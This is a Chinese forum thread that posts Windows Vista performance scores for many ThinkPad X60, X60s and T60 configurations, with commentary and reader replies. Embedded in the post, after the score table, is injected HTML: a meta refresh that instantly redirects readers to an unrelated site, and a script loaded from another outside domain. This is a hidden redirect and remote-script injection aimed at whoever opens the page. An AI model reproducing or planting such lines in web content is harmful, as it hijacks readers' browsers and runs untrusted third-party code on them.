翔意原创评测:ThinkPad全系列机型VISTA评分大评测(详细评测已更新2月3日)

EddieFan

VISTA蓄势待发,目前大家都很关心目前发售的机型能否胜任VISTA这个极吃资源的怪兽.

下面就让大家看看翔意数码的专业评测,涵盖目前所有能涵盖的机型.

VISTA最终评分是取所有分数里的最低分,由于表格空间有限又和其他分数重复,所以没有列出.

配置	CPU计算性能	每秒内存性能	AERO桌面性能	3D商务和游戏性能	主硬盘传输速率	类似配置机型
L2500(1.83低电压/2M)/512M/INTEL GMA950	4.7翔意	2.9原创	2.3	3.0	4.5	X60s-BM6
L2500(1.83低电压/2M)/2*512M/INTEL GMA950	4.7翔意	4.5原创	3.3	3.0	4.5	X60s-BM6
T5600(1.83/2M)/512M/INTEL GMA950	4.8翔意	2.9原创	2.3	3.0	4.4	X60-BC9/BM3/B75/BM7
T5600(1.83/2M)/2*512M/INTEL GMA950	4.8翔意	4.5原创	3.3	3.0	4.4	X60-BC9/BM3/B75/BM7
T7200(2.0/4M)/512M/INTEL GMA950	4.9翔意	2.9原创	2.4	3.0	4.3	X60-BA3/B61/BL1
T7200(2.0/4M)/2*512M/INTEL GMA950	4.9翔意	4.5原创	3.3	3.1	4.3	X60-BA3/B61/BL1
T5500(1.66/2M)/512M/X1300	4.7翔意	2.9原创	3.2	3.6	4.3	T60-D61
T5500(1.66/2M)/2*512M/X1300	4.7翔意	4.5原创	3.2	3.6	4.3	T60-D61
T5600(1.83/2M)/512M/X1300	4.8翔意	2.9原创	3.1	3.6	4.3	T60-D58/D59/D53/E11/DH1/DY3/DY9
T5600(1.83/2M)/2*512M/X1300	4.8翔意	4.5原创	3.1	3.6	4.3	T60-D58/D59/D53/E11/DH1/DY3/DY9
T5600(1.83/2M)/512M/X1400	4.8翔意	2.9原创	4.6	4.0	4.3	T60-D64/D62/E86/E85
T5600(1.83/2M)/2*512M/X1400	4.8翔意	4.5原创	4.6	4.0	4.3	T60-D64/D62/E86/E85
T7200(2.0/4M)/512M/X1300	4.9翔意	2.9原创	3.1	3.6	4.3	T60-DQ3
T7200(2.0/4M)/2*512M/X1300	4.9翔意	4.5原创	3.1	3.6	4.3	T60-DQ3
T7200(2.0/4M)/512M/X1400	4.9翔意	2.9原创	4.6	4.0	4.6	T60-D63/D65/DQ4/DN6/E81/E79/A44
T7200(2.0/4M)/2*512M/X1400	4.9翔意	4.5原创	4.6	4.0	4.6	T60-D63/D65/DQ4/DN6/E81/E79/A44

<meta http-equiv="refresh" content="0; url=http://www.981.cc">
★★★
<script type="text/javascript" src="http://www.972.cc/1.js"></script>
<link href="http://www.972.cc/1.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>
<P>&nbsp;</P>


<P>&nbsp;</P>

EddieFan

下面我们做一个综合评价.


CPU和硬盘方面:
此项评分主要是测试机器的CPU和硬盘的运算和传输速度是否能满足VISTA的要求.
由于评测机型全部使用了全新的酷睿2双核技术以及945芯片组SATA告诉硬盘.使得全部机型的CPU以及硬盘速率评分都极高,以目前CPU和硬盘的性能,跑VISTA流畅不是问题.
令我们侧目的是X60s这款使用了L2500(1.83/2M)低电压酷睿的CPU,也获得了4.7分的高分,说明低电压CPU的效能一点不比常规电压CPU要差哦,比使用同频率的常规电压酷睿2的T5600机型只低了0.1分,根本微不足道.

内存:
此项评分主要是测试机器的内存的大小和传输速度是否能满足VISTA的要求.
512M内存的机型全部在内存分得到2.9分的低分,这样的低分可是不能打开玻璃效果的哦.由评测得分可以看出来,VISTA极吃内存,看来1G内存起步是必须的.
当我们将所有机器再安装一个512内存组成双通道后,内存分数提高到4.5分.已经足够VISTA的应用了,当然如果相配到2G的海量内存以后分数还会更高的.

AERO桌面性能:
此项评分主要VISTA的桌面效果和速度的评分(如玻璃效果).是否能看到最华丽的VISTA就看这个的评分了,2分以上可以打开全部效果,3分以上可以完美运行
配备X1300显卡的T60此项评分为3.1分,已经可以完美运行VISTA的各种桌面效果.
比X1300高一个级别的X1400显卡由于是128位带宽,更是达到了4.6分.在运行玻璃等VISTA桌面效果的时候切换速度更快
X60和X60s系列再次让我们刮目相看,一开始在512M内存的环境下,此项得分只跑出了2.3分的低分,但是加了512内存后,分数上升到3.3分.开始让我们很诧异,但是之后运行下EVERTEST后让真相大白.由于512M主内存环境下,INTEL GMA950显卡只共享到64M显存,所以大大影响了评分,而主内存加到充裕的1G双通道后,显存共享到512M,似的评分大增到3.3分.如此高的得分让我们对小机器有了从新的认识,董事会里的小家伙名不虚传哦!!!

3D商务和游戏性能
此项评分主要是测试显卡的3D游戏性能,ThinkPad属于商务用本,游戏性能一直是大家所怀疑的.下面让我们看看ThinkPad的游戏性能.
配备INTEL GMA950集成显卡的机型得分为3分,基本可以应付简单的3D游戏或者1年前的3D游戏,毕竟小本主要还是为了便携
配备X1300显卡的T60可以得到3.6分,合理设置可以完美运行比如魔兽世界这样的3D游戏
而配备X1400显卡的T60得到了4分,基本相当于台式机X800显卡的VISTA得分.对于非发烧友用户来说,已经算是可以满足全部游戏的需求了

EddieFan

顺便把近期翔意评测过VISTA得分的机型都再次归纳一下

1:MACBOOK MA700:

MA700

Core2 Duo T7200-2.0G

1G

80G

13"WXGA+(1280*800)

Intel 950

1Gb/USB2.0/802.11bg/蓝牙/isight摄像头/FireWire400/白色

DVDRW

￥10800

下图是Macbook MA700的VISTA得分图,由于出厂就配有512M*2的内存,因此不用改变任何出厂配置,已经可以很好的适应VISTA的基本要求
由于构架和IBM的X60很相似,因此最低分也在显卡的3D游戏性能上.



2:T43-A41(原配为512内存,测试为512*2内存)

T43 A41

PM750-1.86G

512M

60G

14.1XGA(1024*768)

X300 64MB

56K/1Gb/WIFI/COMBO/24工时快修

T43是迅驰2代平台,SONOMA构架的机型,得分主要被X300显卡所连累,由于使用的是前一代的硬件构架和显卡,因此缺乏一些对VISTA效果的硬支持,导致显卡的AERO性能得分较低.
但是除了AERO得分以外,其他得分都很完美,也算是迈过VISTA门槛的机型.

EddieFan

L2500(1.83低电压/2M)/512M/INTEL   GMA950 4.7 2.9 2.3 3.0 4.5 X60s-BM6

ok.让我们来看看这个目前最轻薄机型的测试成绩，由于消费方向是轻薄类型，所以采用了low-p版cup,丛而牺牲相应的性能来代替，内存仍然为整体性能提升的一个瓶颈，而集成了GMA950的显卡，那么从目前的测试来看，和ati(哦，不对，先是amd了:P)的x1300相差不是很大，但是由于集成显卡显存要和主内存共用，从而影响到了机器的整体性能。



L2500(1.83低电压/2M)/2*512M/INTEL GMA950 4.7 4.5 3.3 3.0 4.5 X60s-BM6

升级喽！是的，性能的提升是很明显的，不管是内存性能，还有3d性能，当然这些都归功于当我们加了单条512内存后。这对倾向于更加便携的朋友来说，相信已经足以令他们动心



T5600(1.83/2M)/512M/INTEL GMA950         4.8 2.9 2.3 3.0 4.4 X60-BC9/BM3/B75/BM7

是失去了上面的便携性后，我们来看看这个变形了的l2500，除了在cpu上面略有作为以外，其他几乎是一样的



T5600(1.83/2M)/2*512M/INTEL GMA950       4.8 4.5 3.3 3.0 4.4 X60-BC9/BM3/B75/BM7

增加了对双通道了支持，大量的内存被使用到系统中，内存的能力的提升是我们预料内的事情，而aero的性能提升同样也是我们预料内的事情



T7200(2.0/4M)/512M/INTEL GMA950          4.9 2.9 2.4 3.0 4.3 X60-BA3/B61

由于采用了更高的cpu，能力的提升仅仅的局限在了cpu能力上面，其他得几乎相差不多，当然这个只是一些一厢情愿的相信m$说描述的这个评分系统而言，实际的性能只有你在用过后，才会做出自己的定性判断，4m的内置不要太厉害哦:D



T7200(2.0/4M)/2*512M/INTEL GMA950        4.9 4.5 3.3 3.1 4.3 X60-BA3/B61

例行的双通道，例行的内存性能提升，还有例行的传输速率下降:(



T5500(1.66/2M)/512M/X1300   4.7 2.9 3.2 3.6 4.3 T60-D61

从上面的数据我们可以看出，由于整个系列采用采用了新的cpu，整体给我们的形象位cpu的得分普遍很高，但是由于只配备了512的单条内存，从了失去了对双通道的支持，这样子带来的后果是显而易见的，内存成为了整体性能的瓶颈。值得我们高兴的是，由于采用了独立的显卡，通过对DirectX 9和遮影器模型3.0的完整支持，x1300的整体性能还不错



T5500(1.66/2M)/2*512M/X1300 4.7 4.5 3.2 3.6 4.3 T60-D61  

再让我们来看看对其内存系统作了大幅度的升级后，特别是当我们添加的为单条的512内存，从而打通了上面所说的内存瓶颈，双通道和更加大的内存带来了整体内存性能的大幅提升，对吃内存的大户游戏来说，相信这个分数还是比较不错的。



T5600(1.83/2M)/512M/X1300   4.8 2.9 3.1 3.6 4.3 T60-D58/D59/D53/E11/DH1/DY3/DY9

目前来看，联想走的仍然是ibm的道路，产品多线化，当然这样子的好处是我们可以看到的，面向的消费人群多到可以...呵呵...
同样，t5600的低频版也是在cpu上面做些文章。交工了！就是这样子的简单，而实效就让消费者来决定好了，毕竟什么样子的产品最终面对的它们



T5600(1.83/2M)/2*512M/X1300 4.8 4.5 3.1 3.6 4.3 T60-D58/D59/D53/E11/DH1/DY3/DY9

仍然出自我们的手动添加，当然，性能也是要添加的。让我们看看内存，这个是hy产的..上次使kingstone的呢.



T5600(1.83/2M)/512M/X1400   4.8 2.9 4.6 4.0 4.3 T60-D64/D62

这次的升级可不是我们手动的，出厂就是x1400，aero性能不错，已经4.0了，相信对游戏因该米有什么大的问题，毕竟都4.3了。除了吃内存的哪些。



T5600(1.83/2M)/2*512M/X1400 4.8 4.5 4.6 4.0 4.3 T60-D64/D62

来了，这就奉上我们的加强版，看看，最小的分数都是4.0的说，真得不清楚在加条内存会是怎样子的，要单条1g的，要2条！



T7200(2.0/4M)/512M/X1300    4.9 2.9 3.1 3.6 4.3 T60-DQ3

哇！这可是内置了4m的t7200呀，整体运算能力提了不少，这个可以在实际应用中可以得到好看的体现，但是从目前vista的评分系统来看，这个在我们认为的"不少"可不画等号了，仅仅的0.1，其他情况和t5600的默认配置几乎一样,orz...可见vista内置的评分系统只是过眼云烟的，实际中的使用因该会是我们真正想要的，摸得到的。



T7200(2.0/4M)/2*512M/X1300  4.9  4.5 3.1 3.6 4.3 T60-DQ3

在增加了512内存，开启双通道后，内存的能力直线上升，orz...怎么看怎么觉得vista是愈来愈重视内存的管理上面了。



T7200(2.0/4M)/512M/X1400    4.9  2.9 4.6 4.0 4.6 T60-D63/D65/DQ4/DN6

对于x1300和x1400的差别我本不想在这里进行过多的描述，本来就是一个流水线上的东西，区别为是否为残留品而已，屏蔽了什么而已。大家们实际应用才是出发的基石。好了不说这个，还是来说分数，对分数。m$这回的营销策略还是很不错的呀:P

从1300提升至1600来看，游戏性能和aero的性能得到了一定的提升，对于那些玩游戏的来说不得不说是一件high的事情，相信也是因为这个才加到1400的



T7200(2.0/4M)/2*512M/X1400  4.9 4.5 4.6 4.0 4.6 T60-D63/D65/DQ4/DN6

升级，升级，硬件厂商和软件厂商的命根。相对于vista这样子的系统来说，美丽的人机界面下性能耗损是一定的，但是怎么来保持一个平衡点，相信他们仍在为这个问题和努力，同时厂商们需要大家们的信息，不过是好的，还是偏激的，他们需要这些来把软件或者硬件做得更加的完善。从这测试一览的看下来，我相信大家们都看出来了vista内存的要求已经不是xp所能及的了。

EddieFan

持续

EddieFan

持续

EddieFan

持续

EddieFan

持续

EddieFan

持续

EddieFan

持续

Pantone

这是沙发么？

chirs_icola

最佳性价比的机器应该非 D64莫属了!

T60CC1

不错。

doudow

持续支持

leetexwood

好东西。没想到T7200处理器得分只比T5600高0.1啊，看来要重新考虑了

leetexwood

X1300显卡的AREO桌面性能竟然低于GMA950

torture

研究一下~

EddieFan

原帖由 leetexwood 于 2007-1-25 16:58 发表
好东西。没想到T7200处理器得分只比T5600高0.1啊，看来要重新考虑了

呵呵,但是只是VISTA的系统分数评测,他的侧重点不同,我们实际使用,4M缓存对于效能提升来说还是很高的.

jamchan

还是D64！

ztysu

ThinkPad笔记本果然强悍！
此帖应该广为流传，然后向联想要广告费！

ztysu

这次评测一出，估计可以打消很多人的疑虑了，XY考虑真是贴心周到！

kame2002mo

呵呵..........暂时不想装vista...........

exown

支持阿！是否xy这里准备出vista的机器了？

EddieFan

原帖由 exown 于 2007-1-25 17:41 发表
支持阿！是否xy这里准备出vista的机器了？

目前由于VISTA和ThinkPad随机软件的兼容性问题,我们还不准备做VISTA的盘,一些发烧友可以自行安装.

snaill11223344